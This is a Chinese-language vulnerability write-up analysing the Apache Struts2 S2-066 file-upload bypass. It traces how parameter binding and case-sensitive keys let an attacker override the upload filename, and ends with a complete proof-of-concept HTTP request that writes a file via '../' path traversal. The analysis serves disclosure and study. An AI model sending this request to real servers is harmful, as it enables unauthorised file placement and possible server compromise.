0x01 前言
0x02 漏洞分析
Diff
简单来说更新后使大小写不敏感了。
结合发布的漏洞通告,推测可能是文件上传功能的路径穿越,但是这有跟大小写有啥关系呢,想不明白,写个Demo跟踪一下看看吧。
走个流程,正常情况下在进入Action之后../就已经被过滤掉了。
既然如此,那我们给文件上传功能的拦截器打一个断点调试看看是啥时候过滤掉的。
发现获取文件名是通过multiWrapper.getFileNames来的。
一路跟进去,发现最终是通过getCanonicalName做了过滤的。
那既然已经做了过滤,一眼看去也没啥问题怎么还会有目录遍历呢,继续往下看。
返回FileUploadInterceptor继续跟踪,首先获取inputName,将获取到的inputName添
加FileName字符串,然后封装成了newParams集合,最后追加给了ActionContext的parameters中。
然后这里我们全局搜索追一下,在FileUploadInterceptor之前是哪里操作了
ActionContext.parameters。
结合调用栈。
当我发送如下请求。
在ServiceAction下断点,这边可以看到,extraContext的parameters中获取到了author与test,结合FileUploadInterceptor一共是五个参数了。
那到这里,想一下是不是还有其他的传参方法能够操作HttpParameters。
观察调用栈发现执行FileUploadInterceptor之后还会调用ParametersInterceptor,可以想到xwork参数绑定,那猜测应该是可以通过参数绑定的形式修改HttpParameters里的属性了。
在ParametersInterceptor的doIntercept打个断点,到这边可以看到这边确实是五个了。
然后进入setParameters可以看到调用newStack.setParameter,这个方法会调用相应的 setter方法。
那是不是可以通过参数绑定直接覆盖呢,构造如下数据包。
进入ServiceAction可以看到获取出了MyFaceFileName=../test1.jpg。
随后进入到FileUploadInterceptor,由于key相同,MyFaceFileName的值是被覆盖为了111.jpg。
可以看到最后MyFaceFileName的值是111.jpg。
既然如此,联想到补丁修复的HttpParameters大小写敏感问题,如果此时通过参数绑定传递MyFaceFileName,在上传表单名中传递myFace(inputName+FileName),此时HttpParameters里面是myFaceFileName与MyFaceFileName,这个时候key不一样,可以同时存在于HttpParameters的。
构造如下请求包:
测试发现,最后获取到了111.jpg而不是../test1.jpg。
发现原因是由于acceptableParameters是TreeMap,顺序问题大写是在前面的,我们要想覆盖,参数绑定应该传入小写myFaceFileName,表单filename位置传大写。
构造如下数据包:
POST /upload.action?myFaceFileName=../test1.jpg HTTP/1.1
Host: 192.168.103.75:8083
Content-Length: 2969
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.103.75:8083
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1g8QtTsJ6IIKRZoo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.103.75:8083/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=CB305D6A313149EFC8F49CF6B973DEC3
Connection: close
------WebKitFormBoundary1g8QtTsJ6IIKRZoo
Content-Disposition: form-data; name="author"
------WebKitFormBoundary1g8QtTsJ6IIKRZoo
Content-Disposition: form-data; name="MyFace"; filename="111.jpg"
Content-Type: image/jpeg
1111111111111111111111
------WebKitFormBoundary1g8QtTsJ6IIKRZoo--
恢复执行后可以看到打印的文件名为../test1.jpg,成功穿越到别的目录。
最后要注意构造的参数要根据实际属性名来,所以不通用要根据实际情况来。
0x03
原文始发于微信公众号(小黑说安全):Struts2文件上传绕过分析(S2-066)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论